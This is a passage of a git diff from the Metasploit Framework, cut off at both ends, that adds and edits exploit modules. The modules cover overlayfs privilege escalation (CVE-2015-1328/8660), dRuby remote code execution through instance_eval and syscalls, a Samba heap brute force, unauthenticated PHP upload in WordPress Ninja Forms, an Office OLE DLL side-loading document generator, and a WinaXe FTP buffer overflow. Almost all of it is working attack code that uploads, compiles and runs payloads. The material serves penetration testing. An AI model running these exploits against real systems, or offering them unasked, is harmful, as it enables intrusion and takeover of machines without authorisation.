write_file(fname, fcontent) + cmd_exec("chmod +x #{fname}") + if cleanup + register_file_for_cleanup(fname) + end + end + + def on_new_session(session) + super + if target.name == 'CVE-2015-1328' + session.shell_command("/bin/su") #this doesnt work on meterpreter????? + # we cleanup here instead of earlier since we needed the /bin/su in our new session + session.shell_command('rm -f /etc/ld.so.preload') + session.shell_command('rm -f /tmp/ofs-lib.so') + end + end + + if compile + begin + if target.name == 'CVE-2015-1328' + # direct copy of code from exploit-db. There were a bunch of ducplicate header includes I removed, and a lot of the comment title area just to cut down on size + # Also removed the on-the-fly compilation of ofs-lib.c and we do that manually ahead of time, or drop the binary. + path = ::File.join( Msf::Config.install_root, 'external', 'source', 'exploits', 'CVE-2015-1328', '1328.c') + fd = ::File.open( path, "rb") + cve_2015_1328 = fd.read(fd.stat.size) + fd.close + + # pulled out from 1328.c's LIB define + path = ::File.join( Msf::Config.install_root, 'external', 'source', 'exploits', 'CVE-2015-1328', 'ofs-lib.c') + fd = ::File.open( path, "rb") + ofs_lib = fd.read(fd.stat.size) + fd.close + else + # direct copy of code from exploit-db. There were a bunch of ducplicate header includes I removed, and a lot of the comment title area just to cut down on size + path = ::File.join( Msf::Config.install_root, 'external', 'source', 'exploits', 'CVE-2015-8660', '8660.c') + fd = ::File.open( path, "rb") + cve_2015_8660 = fd.read(fd.stat.size) + fd.close + end + rescue + compile = false #hdm said external folder is optional and all module should run even if external is deleted. If we fail to load, default to binaries + end + end + + + if compile + if target.name == 'CVE-2015-1328' + cve_2015_1328.gsub!(/execl\("\/bin\/su","su",NULL\);/, + "execl(\"#{payload_path}\",\"#{payloadname}\",NULL);") + upload_and_chmod("#{executable_path}.c", cve_2015_1328) + ofs_path = "#{datastore['WritableDir']}/ofs-lib" + upload_and_chmod("#{ofs_path}.c", ofs_lib) + cmd_exec("gcc -fPIC -shared -o #{ofs_path}.so #{ofs_path}.c -ldl -w") # compile dependency file + register_file_for_cleanup("#{ofs_path}.c") + else + cve_2015_8660.gsub!(/os.execl\('\/bin\/bash','bash'\)/, + "os.execl('#{payload_path}','#{payloadname}')") + upload_and_chmod("#{executable_path}.c", cve_2015_8660) + end + vprint_status("Compiling #{executable_path}.c") + cmd_exec("gcc -o #{executable_path} #{executable_path}.c") # compile + register_file_for_cleanup(executable_path) + else + if target.name == 'CVE-2015-1328' + path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2015-1328', '1328') + fd = ::File.open( path, "rb") + cve_2015_1328 = fd.read(fd.stat.size) + fd.close + upload_and_chmod(executable_path, cve_2015_1328) + + path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2015-1328', 'ofs-lib.so') + fd = ::File.open( path, "rb") + ofs_lib = fd.read(fd.stat.size) + fd.close + ofs_path = "#{datastore['WritableDir']}/ofs-lib" + # dont auto cleanup or else it happens too quickly and we never escalate ourprivs + upload_and_chmod("#{ofs_path}.so", ofs_lib, false) + + # overwrite with the hardcoded variable names in the compiled versions + payload_filename = 'lXqzVpYN' + payload_path = '/tmp/lXqzVpYN' + else + path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2015-8660', '8660') + fd = ::File.open( path, "rb") + cve_2015_8660 = fd.read(fd.stat.size) + fd.close + upload_and_chmod(executable_path, cve_2015_8660) + # overwrite with the hardcoded variable names in the compiled versions + payload_filename = '1H0qLaq2' + payload_path = '/tmp/1H0qLaq2' + end + end + + upload_and_chmod(payload_path, generate_payload_exe) + vprint_status('Exploiting...') + output = cmd_exec(executable_path) + output.each_line { |line| vprint_status(line.chomp) } + end +end diff --git a/modules/exploits/linux/local/pkexec.rb b/modules/exploits/linux/local/pkexec.rb index 487a3ab433..08896eecad 100644 --- a/modules/exploits/linux/local/pkexec.rb +++ b/modules/exploits/linux/local/pkexec.rb @@ -66,6 +66,24 @@ class MetasploitModule < Msf::Exploit::Local @executable_path end + def check + # version can be nil + version = cmd_exec('pkexec --version').split.last + + # version can be a string, so we check it + if version.nil? || !Gem::Version.correct?(version) + vprint_error('pkexec not found or version incorrect') + return CheckCode::Unknown + end + + if Gem::Version.new(version) <= Gem::Version.new('0.101') + vprint_good("pkexec #{version} found") + return CheckCode::Appears + end + + CheckCode::Detected + end + def exploit main = %q^ /* diff --git a/modules/exploits/linux/misc/drb_remote_codeexec.rb b/modules/exploits/linux/misc/drb_remote_codeexec.rb index fded503b2e..ca81666a2b 100644 --- a/modules/exploits/linux/misc/drb_remote_codeexec.rb +++ b/modules/exploits/linux/misc/drb_remote_codeexec.rb @@ -7,33 +7,39 @@ require 'msf/core' require 'drb/drb' class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + include Msf::Exploit::FileDropper + def initialize(info = {}) super(update_info(info, 'Name' => 'Distributed Ruby Send instance_eval/syscall Code Execution', 'Description' => %q{ - This module exploits remote code execution vulnerabilities in dRuby + This module exploits remote code execution vulnerabilities in dRuby. + + If the dRuby application sets $SAFE = 1, the instance_eval target will fail. + In this event, the syscall target is preferred. This can be set with target 1. }, 'Author' => [ 'joernchen ' ], #(Phenoelit) 'License' => MSF_LICENSE, 'References' => [ [ 'URL', 'http://www.ruby-doc.org/stdlib-1.9.3/libdoc/drb/rdoc/DRb.html' ], + [ 'URL', 'http://blog.recurity-labs.com/archives/2011/05/12/druby_for_penetration_testers/' ] ], 'Privileged' => false, 'Payload' => { 'DisableNops' => true, - 'Compat' => - { - 'PayloadType' => 'cmd', - }, 'Space' => 32768, }, 'Platform' => 'unix', 'Arch' => ARCH_CMD, - 'Targets' => [[ 'Automatic', { }]], + 'Targets' => [ + ['instance_eval', {}], + ['syscall', {}] + ], 'DisclosureDate' => 'Mar 23 2011', 'DefaultTarget' => 0)) @@ -51,19 +57,37 @@ class MetasploitModule < Msf::Exploit::Remote class << p undef :send end + + case target.name + when 'instance_eval' + print_status('Trying to exploit instance_eval') + exploit_instance_eval(p) + when 'syscall' + print_status('Trying to exploit syscall') + exploit_syscall(p) + end + end + + def exploit_instance_eval(p) begin - print_status('trying to exploit instance_eval') p.send(:instance_eval,"Kernel.fork { `#{payload.encoded}` }") + rescue SecurityError + print_error('instance_eval failed due to security error') + rescue DRb::DRbConnError + print_error('instance_eval failed due to connection error') + end + end - rescue SecurityError => e - print_status('instance eval failed, trying to exploit syscall') - filename = "." + Rex::Text.rand_text_alphanumeric(16) + def exploit_syscall(p) + filename = "." + Rex::Text.rand_text_alphanumeric(16) + + begin begin - + print_status('Attempting 32-bit exploitation') # syscall to decide wether it's 64 or 32 bit: # it's getpid on 32bit which will succeed, and writev on 64bit # which will fail due to missing args - j = p.send(:syscall,20) + p.send(:syscall,20) # syscall open i = p.send(:syscall,8,filename,0700) # syscall write @@ -75,13 +99,9 @@ class MetasploitModule < Msf::Exploit::Remote # syscall execve p.send(:syscall,11,filename,0,0) - # not vulnerable - rescue SecurityError => e - - print_status('target is not vulnerable') - # likely 64bit system - rescue => e + rescue Errno::EBADF + print_status('Target is a 64-bit system') # syscall creat i = p.send(:syscall,85,filename,0700) # syscall write @@ -93,9 +113,17 @@ class MetasploitModule < Msf::Exploit::Remote # syscall execve p.send(:syscall,59,filename,0,0) end + + # not vulnerable + rescue SecurityError + print_error('syscall failed due to security error') + return + rescue DRb::DRbConnError + print_error('syscall failed due to connection error') + return end - print_status("payload executed from file #{filename}") unless filename.nil? - print_status("make sure to remove that file") unless filename.nil? - handler(nil) + + register_files_for_cleanup(filename) end + end diff --git a/modules/exploits/linux/misc/nagios_nrpe_arguments.rb b/modules/exploits/linux/misc/nagios_nrpe_arguments.rb index 3ac5320c90..f8c7290538 100644 --- a/modules/exploits/linux/misc/nagios_nrpe_arguments.rb +++ b/modules/exploits/linux/misc/nagios_nrpe_arguments.rb @@ -154,7 +154,7 @@ class MetasploitModule < Msf::Exploit::Remote end - # NRPE uses unauthenticated Annonymous-Diffie-Hellman + # NRPE uses unauthenticated Anonymous-Diffie-Hellman # setting the global SSL => true will break as we would be overlaying # an SSLSocket on another SSLSocket which hasnt completed its handshake @@ -163,7 +163,7 @@ class MetasploitModule < Msf::Exploit::Remote self.sock = super(global, opts) if datastore['NRPESSL'] or @force_ssl - ctx = OpenSSL::SSL::SSLContext.new("TLSv1") + ctx = OpenSSL::SSL::SSLContext.new(:TLSv1) ctx.verify_mode = OpenSSL::SSL::VERIFY_NONE ctx.ciphers = "ADH" diff --git a/modules/exploits/linux/misc/opennms_java_serialize.rb b/modules/exploits/linux/misc/opennms_java_serialize.rb index 76977ba1c1..d998fa77a9 100644 --- a/modules/exploits/linux/misc/opennms_java_serialize.rb +++ b/modules/exploits/linux/misc/opennms_java_serialize.rb @@ -31,7 +31,7 @@ class MetasploitModule < Msf::Exploit::Remote 'Targets' => [ [ 'OpenNMS / Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ], - [ 'OpenNMS / Linux x86_64', { 'Arch' => ARCH_X86_64, 'Platform' => 'linux' } ] + [ 'OpenNMS / Linux x86_64', { 'Arch' => ARCH_X64, 'Platform' => 'linux' } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Nov 19 2014' diff --git a/modules/exploits/linux/samba/lsa_transnames_heap.rb b/modules/exploits/linux/samba/lsa_transnames_heap.rb index 5a9c5dfb6a..82a8c8b8fe 100644 --- a/modules/exploits/linux/samba/lsa_transnames_heap.rb +++ b/modules/exploits/linux/samba/lsa_transnames_heap.rb @@ -168,6 +168,20 @@ class MetasploitModule < Msf::Exploit::Remote } ], + ['Linux Heap Brute Force (OpenWRT MIPS)', + { + 'Platform' => 'linux', + 'Arch' => [ ARCH_MIPSBE ], + 'Nops' => 64*1024, + 'Bruteforce' => + { + 'Start' => { 'Ret' => 0x55900000 }, + 'Stop' => { 'Ret' => 0x559c0000 }, + 'Step' => 60*1024, + } + } + ], + ['DEBUG', { 'Platform' => 'linux', @@ -267,7 +281,7 @@ class MetasploitModule < Msf::Exploit::Remote talloc_magic = "\x70\xec\x14\xe8" # second talloc_chunk header - buf << 'A' * 8 # next, prev + buf << NDR.long(0) + NDR.long(0) # next, prev buf << NDR.long(0) + NDR.long(0) # parent, child buf << NDR.long(0) # refs buf << [target_addrs['Ret']].pack('V') # destructor diff --git a/modules/exploits/multi/http/bassmaster_js_injection.rb b/modules/exploits/multi/http/bassmaster_js_injection.rb index adefe65300..c9466cd94e 100644 --- a/modules/exploits/multi/http/bassmaster_js_injection.rb +++ b/modules/exploits/multi/http/bassmaster_js_injection.rb @@ -30,7 +30,7 @@ class MetasploitModule < Msf::Exploit::Remote ], 'License' => MSF_LICENSE, 'Platform' => ['linux', 'bsd'], # binary > native JavaScript - 'Arch' => [ARCH_X86, ARCH_X86_64], + 'Arch' => [ARCH_X86, ARCH_X64], 'Privileged' => false, 'Targets' => [ diff --git a/modules/exploits/multi/http/jenkins_script_console.rb b/modules/exploits/multi/http/jenkins_script_console.rb index 5cb1f199e0..2bbcb4d335 100644 --- a/modules/exploits/multi/http/jenkins_script_console.rb +++ b/modules/exploits/multi/http/jenkins_script_console.rb @@ -78,7 +78,7 @@ class MetasploitModule < Msf::Exploit::Remote def http_send_command(cmd, opts = {}) request_parameters = { 'method' => 'POST', - 'uri' => normalize_uri(@uri.path, "script"), + 'uri' => normalize_uri(@uri.path, 'script'), 'vars_post' => { 'script' => java_craft_runtime_exec(cmd), @@ -86,7 +86,7 @@ class MetasploitModule < Msf::Exploit::Remote } } request_parameters['cookie'] = @cookie if @cookie != nil - request_parameters['vars_post']['.crumb'] = @crumb if @crumb != nil + request_parameters['vars_post'][@crumb[:name]] = @crumb[:value] unless @crumb.nil? res = send_request_cgi(request_parameters) if not (res and res.code == 200) fail_with(Failure::Unknown, 'Failed to execute the command.') @@ -159,8 +159,8 @@ class MetasploitModule < Msf::Exploit::Remote 'uri' => normalize_uri(@uri.path, "j_acegi_security_check"), 'vars_post' => { - 'j_username' => Rex::Text.uri_encode(datastore['USERNAME'], 'hex-normal'), - 'j_password' => Rex::Text.uri_encode(datastore['PASSWORD'], 'hex-normal'), + 'j_username' => datastore['USERNAME'], + 'j_password' => datastore['PASSWORD'], 'Submit' => 'log in' } }) @@ -177,9 +177,12 @@ class MetasploitModule < Msf::Exploit::Remote print_status('No authentication required, skipping login...') end - if (res.body =~ /"\.crumb", "([a-z0-9]*)"/) - print_status("Using CSRF token: '#{$1}'") - @crumb = $1 + if res.body =~ /"\.crumb", "([a-z0-9]*)"/ + print_status("Using CSRF token: '#{$1}' (.crumb style)") + @crumb = {:name => '.crumb', :value => $1} + elsif res.body =~ /crumb\.init\("Jenkins-Crumb", "([a-z0-9]*)"\)/ + print_status("Using CSRF token: '#{$1}' (Jenkins-Crumb style)") + @crumb = {:name => 'Jenkins-Crumb', :value => $1} end case target['Platform'] diff --git a/modules/exploits/multi/http/tomcat_mgr_deploy.rb b/modules/exploits/multi/http/tomcat_mgr_deploy.rb index 06865531fd..f67d8a3738 100644 --- a/modules/exploits/multi/http/tomcat_mgr_deploy.rb +++ b/modules/exploits/multi/http/tomcat_mgr_deploy.rb @@ -312,7 +312,7 @@ class MetasploitModule < Msf::Exploit::Remote origin_type: :service, module_fullname: self.fullname, private_type: :password, - private_data: datastore['HttpPassword'].downcase, + private_data: datastore['HttpPassword'], username: datastore['HttpUsername'] } diff --git a/modules/exploits/multi/http/wp_ninja_forms_unauthenticated_file_upload.rb b/modules/exploits/multi/http/wp_ninja_forms_unauthenticated_file_upload.rb new file mode 100644 index 0000000000..51af361a24 --- /dev/null +++ b/modules/exploits/multi/http/wp_ninja_forms_unauthenticated_file_upload.rb @@ -0,0 +1,176 @@ +## +# This module requires Metasploit: http://www.metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::FileDropper + include Msf::Exploit::Remote::HTTP::Wordpress + + def initialize(info = {}) + super(update_info( + info, + 'Name' => 'WordPress Ninja Forms Unauthenticated File Upload', + 'Description' => %( + Versions 2.9.36 to 2.9.42 of the Ninja Forms plugin contain + an unauthenticated file upload vulnerability, allowing guests + to upload arbitrary PHP code that can be executed in the context + of the web server. + ), + 'License' => MSF_LICENSE, + 'Author' => + [ + 'James Golovich', # Discovery and disclosure + 'Rob Carr ' # Metasploit module + ], + 'References' => + [ + ['CVE', '2016-1209'], + ['WPVDB', '8485'], + ['URL', 'http://www.pritect.net/blog/ninja-forms-2-9-42-critical-security-vulnerabilities'] + ], + 'DisclosureDate' => 'May 04 2016', + 'Platform' => 'php', + 'Arch' => ARCH_PHP, + 'Targets' => [['ninja-forms', {}]], + 'DefaultTarget' => 0 + )) + + opts = [OptString.new('FORM_PATH', [true, 'The relative path of the page that hosts any form served by Ninja Forms'])] + register_options(opts, self.class) + end + + def print_status(msg='') + super("#{peer} - #{msg}") + end + + def print_good(msg='') + super("#{peer} - #{msg}") + end + + def print_error(msg='') + super("#{peer} - #{msg}") + end + + def check + check_plugin_version_from_readme('ninja-forms', '2.9.43', '2.9.36') + end + + def enable_v3_functionality + print_status 'Enabling vulnerable V3 functionality...' + res = send_request_cgi( + 'method' => 'GET', + 'uri' => target_uri.path, + 'vars_get' => { 'nf-switcher' => 'upgrade' } + ) + + unless res && res.code == 200 + if res + fail_with(Failure::Unreachable, "Failed to enable the vulnerable V3 functionality. Server returned: #{res.code}, should be 200.") + else + fail_with(Failure::Unreachable, 'Connection timed out.') + end + end + + vprint_good 'Enabled V3 functionality' + end + + def disable_v3_functionality + print_status 'Disabling vulnerable V3 functionality...' + res = send_request_cgi( + 'method' => 'GET', + 'uri' => target_uri.path, + 'vars_get' => { 'nf-switcher' => 'rollback' } + ) + + if res && res.code == 200 + vprint_good 'Disabled V3 functionality' + elsif !res + print_error('Connection timed out while disabling V3 functionality') + else + print_error 'Failed to disable the vulnerable V3 functionality' + end + end + + def generate_mime_message(payload_name, nonce) + data = Rex::MIME::Message.new + data.add_part('nf_async_upload', nil, nil, 'form-data; name="action"') + data.add_part(nonce, nil, nil, 'form-data; name="security"') + data.add_part(payload.encoded, 'application/x-php', nil, "form-data; name=\"#{Rex::Text.rand_text_alpha(10)}\"; filename=\"#{payload_name}\"") + data + end + + def fetch_ninja_form_nonce + uri = normalize_uri(target_uri.path, datastore['FORM_PATH']) + res = send_request_cgi( + 'method' => 'GET', + 'uri' => uri + ) + + unless res && res.code == 200 + fail_with(Failure::UnexpectedReply, "Unable to access FORM_PATH: #{datastore['FORM_PATH']}") + end + + form_wpnonce = res.get_hidden_inputs.first + form_wpnonce = form_wpnonce['_wpnonce'] if form_wpnonce + + nonce = res.body[/var nfFrontEnd = \{"ajaxNonce":"([a-zA-Z0-9]+)"/i, 1] || form_wpnonce + + unless nonce + fail_with(Failure::Unknown, 'Cannot find wpnonce or ajaxNonce from FORM_PATH') + end + + nonce + end + + def upload_payload(data) + res = send_request_cgi( + 'method' => 'POST', + 'uri' => wordpress_url_admin_ajax, + 'ctype' => "multipart/form-data; boundary=#{data.bound}", + 'data' => data.to_s + ) + + fail_with(Failure::Unreachable, 'No response from the target') if res.nil? + vprint_error("Server responded with status code #{res.code}") if res.code != 200 + end + + def execute_payload(payload_name, payload_url) + register_files_for_cleanup("nftmp-#{payload_name.downcase}") + res = send_request_cgi({ 'uri' => payload_url, 'method' => 'GET' }, 5) + + if !res.nil? && res.code == 404 + print_error("Failed to upload the payload") + else + print_good("Executed payload") + end + end + + def exploit + # Vulnerable code is only available in the version 3 preview mode, which can be + # enabled by unauthenticated users due to lack of user level validation. + enable_v3_functionality + + # Once the V3 preview mode is enabled, we can acquire a nonce by requesting any + # page that contains a form generated by Ninja Forms. + nonce = fetch_ninja_form_nonce + + print_status("Preparing payload...") + payload_name = "#{Rex::Text.rand_text_alpha(10)}.php" + payload_url = normalize_uri(wordpress_url_wp_content, 'uploads', "nftmp-#{payload_name.downcase}") + data = generate_mime_message(payload_name, nonce) + + print_status("Uploading payload to #{payload_url}") + upload_payload(data) + + print_status("Executing the payload...") + execute_payload(payload_name, payload_url) + + # Once the payload has been executed, we can disable the preview functionality again. + disable_v3_functionality + end +end diff --git a/modules/exploits/unix/webapp/wp_ninja_forms_unauthenticated_file_upload.rb b/modules/exploits/unix/webapp/wp_ninja_forms_unauthenticated_file_upload.rb index 51af361a24..bf5d867292 100644 --- a/modules/exploits/unix/webapp/wp_ninja_forms_unauthenticated_file_upload.rb +++ b/modules/exploits/unix/webapp/wp_ninja_forms_unauthenticated_file_upload.rb @@ -10,6 +10,9 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::FileDropper include Msf::Exploit::Remote::HTTP::Wordpress + include Msf::Module::Deprecated + + deprecated(Date.new(2016, 12, 10), 'exploit/multi/http/wp_ninja_forms_unauthenticated_file_upload') def initialize(info = {}) super(update_info( diff --git a/modules/exploits/windows/fileformat/office_ole_multiple_dll_hijack.rb b/modules/exploits/windows/fileformat/office_ole_multiple_dll_hijack.rb new file mode 100644 index 0000000000..bedec99943 --- /dev/null +++ b/modules/exploits/windows/fileformat/office_ole_multiple_dll_hijack.rb @@ -0,0 +1,280 @@ +require 'zip' +require 'base64' +require 'msf/core' +require 'rex/ole' + +class MetasploitModule < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::FILEFORMAT + include Msf::Exploit::EXE + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Office OLE Multiple DLL Side Loading Vulnerabilities', + 'Description' => %q{ + Multiple DLL side loading vulnerabilities were found in various COM components. + These issues can be exploited by loading various these components as an embedded + OLE object. When instantiating a vulnerable object Windows will try to load one + or more DLLs from the current working directory. If an attacker convinces the + victim to open a specially crafted (Office) document from a directory also + containing the attacker's DLL file, it is possible to execute arbitrary code with + the privileges of the target user. This can potentially result in the attacker + taking complete control of the affected system. + }, + 'Author' => 'Yorick Koster', + 'License' => MSF_LICENSE, + 'References' => + [ + ['CVE', '2015-6132'], + ['CVE', '2015-6128'], + ['CVE', '2015-6133'], + ['CVE', '2016-0041'], + ['CVE', '2016-0100'], + ['CVE', '2016-3235'], + ['MSB', 'MS15-132'], + ['MSB', 'MS16-014'], + ['MSB', 'MS16-025'], + ['MSB', 'MS16-041'], + ['MSB', 'MS16-070'], + ['URL', 'https://securify.nl/advisory/SFY20150801/com__services_dll_side_loading_vulnerability.html'], + ['URL', 'https://securify.nl/advisory/SFY20150805/event_viewer_snapin_multiple_dll_side_loading_vulnerabilities.html'], + ['URL', 'https://securify.nl/advisory/SFY20150803/windows_authentication_ui_dll_side_loading_vulnerability.html'], + ['URL', 'https://securify.nl/advisory/SFY20151102/shutdown_ux_dll_side_loading_vulnerability.html'], + ['URL', 'https://securify.nl/advisory/SFY20150802/shockwave_flash_object_dll_side_loading_vulnerability.html'], + ['URL', 'https://securify.nl/advisory/SFY20150806/ole_db_provider_for_oracle_multiple_dll_side_loading_vulnerabilities.html'], + ['URL', 'https://securify.nl/advisory/SFY20150905/nps_datastore_server_dll_side_loading_vulnerability.html'], + ['URL', 'https://securify.nl/advisory/SFY20150906/bda_mpeg2_transport_information_filter_dll_side_loading_vulnerability.html'], + ['URL', 'https://securify.nl/advisory/SFY20151101/mapsupdatetask_task_dll_side_loading_vulnerability.html'], + ['URL', 'https://securify.nl/advisory/SFY20150904/windows_mail_find_people_dll_side_loading_vulnerability.html'], + ['URL', 'https://securify.nl/advisory/SFY20150804/microsoft_visio_multiple_dll_side_loading_vulnerabilities.html'], + ], + 'DefaultOptions' => + { + 'EXITFUNC' => 'thread', + 'PAYLOAD' => 'windows/exec', + 'CMD' => 'C:\\Windows\\System32\\calc.exe', + }, + 'Payload' => { 'Space' => 2048, }, + 'Platform' => 'win', + 'Arch' => [ ARCH_X86, ARCH_X64 ], + 'Targets' => + [ + [ 'All', {} ], + [ + 'COM+ Services / Windows Vista - 10 / Office 2007 - 2016 (MS15-132)', + { + 'DLL' => 'mqrt.dll', + # {ecabafc9-7f19-11d2-978e-0000f8757e2a} + 'CLSID' => "\xC9\xAF\xAB\xEC\x19\x7F\xD2\x11\x97\x8E\x00\x00\xF8\x75\x7E\x2A" + } + ], + [ + 'Shockwave Flash Object / Windows 10 / Office 2013 (APSB15-28)', + { + 'DLL' => 'spframe.dll', + # {D27CDB6E-AE6D-11cf-96B8-444553540000} + 'CLSID' => "\x6E\xDB\x7C\xD2\x6D\xAE\xCF\x11\x96\xB8\x44\x45\x53\x54\x00\x00" + } + ], + [ + 'Windows Authentication UI / Windows 10 / Office 2013 - 2016 (MS15-132)', + { + 'DLL' => 'wuaext.dll', + # {D93CE8B5-3BF8-462C-A03F-DED2730078BA} + 'CLSID' => "\xB5\xE8\x3C\xD9\xF8\x3B\x2C\x46\xA0\x3F\xDE\xD2\x73\x00\x78\xBA" + } + ], + [ + 'Shutdown UX / Windows 10 / Office 2016 (MS15-132)', + { + 'DLL' => 'wuaext.dll', + # {14ce31dc-abc2-484c-b061-cf3416aed8ff} + 'CLSID' => "\xDC\x31\xCE\x14\xC2\xAB\x4C\x48\xB0\x61\xCF\x34\x16\xAE\xD8\xFF" + } + ], + [ + 'MapUpdateTask Tasks / Windows 10 / Office 2016 (MS16-014)', + { + 'DLL' => 'phoneinfo.dll', + # {B9033E87-33CF-4D77-BC9B-895AFBBA72E4} + 'CLSID' => "\x87\x3E\x03\xB9\xCF\x33\x77\x4D\xBC\x9B\x89\x5A\xFB\xBA\x72\xE4" + } + ], + [ + 'Microsoft Visio 2010 / Windows 7 (MS16-070)', + { + 'DLL' => 'msoutls.dll', + # 6C92B806-B900-4392-89F7-2ED4B4C23211} + 'CLSID' => "\x06\xB8\x92\x6C\x00\xB9\x92\x43\x89\xF7\x2E\xD4\xB4\xC2\x32\x11" + } + ], + [ + 'Event Viewer Snapin / Windows Vista - 7 / Office 2007 - 2013 (MS15-132)', + { + 'DLL' => 'elsext.dll', + # {394C052E-B830-11D0-9A86-00C04FD8DBF7} + 'CLSID' => "\x2E\x05\x4C\x39\x30\xB8\xD0\x11\x9A\x86\x00\xC0\x4F\xD8\xDB\xF7" + } + ], + [ + 'OLE DB Provider for Oracle / Windows Vista - 7 / Office 2007 - 2013 (MS16-014)', + { + 'DLL' => 'oci.dll', + # {e8cc4cbf-fdff-11d0-b865-00a0c9081c1d} + 'CLSID' => "\xBF\x4C\xCC\xE8\xFF\xFD\xD0\x11\xB8\x65\x00\xA0\xC9\x08\x1C\x1D" + } + ], + [ + 'Windows Mail Find People / Windows Vista / Office 2010 (MS16-025)', + { + 'DLL' => 'wab32res.dll', + # {32714800-2E5F-11d0-8B85-00AA0044F941} + 'CLSID' => "\x00\x48\x71\x32\x5F\x2E\xD0\x11\x8B\x85\x00\xAA\x00\x44\xF9\x41" + } + ], + [ + 'NPS Datastore server / Windows Vista / Office 2010 (MS16-014)', + { + 'DLL' => 'iasdatastore2.dll', + # {48da6741-1bf0-4a44-8325-293086c79077} + 'CLSID' => "\x41\x67\xDA\x48\xF0\x1B\x44\x4A\x83\x25\x29\x30\x86\xC7\x90\x77" + } + ], + [ + 'BDA MPEG2 Transport Information Filter / Windows Vista / Office 2010 (MS16-014)', + { + 'DLL' => 'ehTrace.dll', + # {FC772AB0-0C7F-11D3-8FF2-00A0C9224CF4} + 'CLSID' => "\xB0\x2A\x77\xFC\x7F\x0C\xD3\x11\x8F\xF2\x00\xA0\xC9\x22\x4C\xF4" + } + ], + ], + 'Privileged' => false, + 'DisclosureDate' => 'Dec 8 2015', + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('FILENAME', [true, 'The PPSX file', 'msf.ppsx']), + ], self.class) + end + + def exploit + if target.name == 'All' + targets = @targets + else + targets = [ target ] + end + + @arch.each do |a| + exploit_regenerate_payload('win', a, nil) + targets.each do |t| + if t.name == 'All' + next + end + print_status("Using target #{t.name}") + + dll_name = t['DLL'] + if target.name == 'All' + ppsx_name = t.name.split(/\//).first + ".ppsx" + else + ppsx_name = datastore['FILENAME'] + end + + print_status("Creating the payload DLL (#{a})...") + + opts = {} + opts[:arch] = [ a ] + dll = generate_payload_dll(opts) + dll_path = store_file(dll, a, dll_name) + print_good("#{dll_name} stored at #{dll_path}, copy it to a remote share") + + print_status("Creating the PPSX file...") + ppsx = get_ppsx(t['CLSID']) + ppsx_path = store_file(ppsx, a, ppsx_name) + print_good("#{ppsx_name} stored at #{ppsx_path}, copy it to a remote share") + end + end + end + + def store_file(data, subdir, filename) + ltype = "exploit.fileformat.#{self.shortname}" + + if ! ::File.directory?(Msf::Config.local_directory) + FileUtils.mkdir_p(Msf::Config.local_directory) + end + + subdir.gsub!(/[^a-z0-9\.\_\-]+/i, '') + if ! ::File.directory?(Msf::Config.local_directory + "/" + subdir) + FileUtils.mkdir_p(Msf::Config.local_directory + "/" + subdir) + end + + if filename and not filename.empty? + if filename =~ /(.*)\.(.*)/ + ext = $2 + fname = $1 + else + fname = filename + end + else + fname = "local_#{Time.now.utc.to_i}" + end + + fname = ::File.split(fname).last + + fname.gsub!(/[^a-z0-9\.\_\-]+/i, '') + fname << ".#{ext}" + + path = File.join(Msf::Config.local_directory + "/" + subdir, fname) + full_path = ::File.expand_path(path) + File.open(full_path, "wb") { |fd| fd.write(data) } + + report_note(:data => full_path.dup, :type => "#{ltype}.localpath") + + full_path.dup + end + + def create_ole(clsid) + ole_tmp = Rex::Quickfile.new('ole') + stg = Rex::OLE::Storage.new(ole_tmp.path, Rex::OLE::STGM_WRITE) + + stm = stg.create_stream("\x01OLE10Native") + stm.close + + directory = stg.instance_variable_get(:@directory) + directory.each_entry do |entry| + if entry.instance_variable_get(:@_ab) == 'Root Entry' + clsid = Rex::OLE::CLSID.new(clsid) + entry.instance_variable_set(:@_clsId, clsid) + end + end + + # write to disk + stg.close + + ole_contents = File.read(ole_tmp.path) + ole_tmp.close + ole_tmp.unlink + + ole_contents + end + + def get_ppsx(clsid) + path = ::File.join(Msf::Config.data_directory, 'exploits', 'office_ole_multiple_dll_hijack.ppsx') + fd = ::File.open(path, "rb") + data = fd.read(fd.stat.size) + fd.close + ppsx = Rex::Zip::Archive.new + + Zip::InputStream.open(StringIO.new(data)) do |zis| + while entry = zis.get_next_entry + ppsx.add_file(entry.name, zis.read) + end + end + + ppsx.add_file('/ppt/embeddings/oleObject1.bin', create_ole(clsid)) + ppsx.pack + end + +end diff --git a/modules/exploits/windows/ftp/winaxe_server_ready.rb b/modules/exploits/windows/ftp/winaxe_server_ready.rb new file mode 100644 index 0000000000..91f7c27187 --- /dev/null +++ b/modules/exploits/windows/ftp/winaxe_server_ready.rb @@ -0,0 +1,71 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = GoodRanking + + include Msf::Exploit::Remote::FtpServer + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'WinaXe 7.7 FTP Client Remote Buffer Overflow', + 'Description' => %q{ + This module exploits a buffer overflow in the WinaXe 7.7 FTP client. + This issue is triggered when a client connects to the server and is + expecting the Server Ready response. + }, + 'Author' => + [ + 'Chris Higgins', # msf Module -- @ch1gg1ns + 'hyp3rlix' # Original discovery + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'EDB', '40693'], + [ 'URL', 'http://hyp3rlinx.altervista.org/advisories/WINAXE-FTP-CLIENT-REMOTE-BUFFER-OVERFLOW.txt' ] + ], + 'DefaultOptions' => + { + 'EXITFUNC' => 'thread' + }, + 'Payload' => + { + 'Space' => 1000, + 'BadChars' => "\x00\x0a\x0d" + }, + 'Platform' => 'win', + 'Targets' => + [ + [ 'Windows Universal', + { + 'Offset' => 2065, + 'Ret' => 0x68017296 # push esp # ret 0x04 WCMDPA10.dll + } + ] + ], + 'Privileged' => false, + 'DisclosureDate' => 'Nov 03 2016', + 'DefaultTarget' => 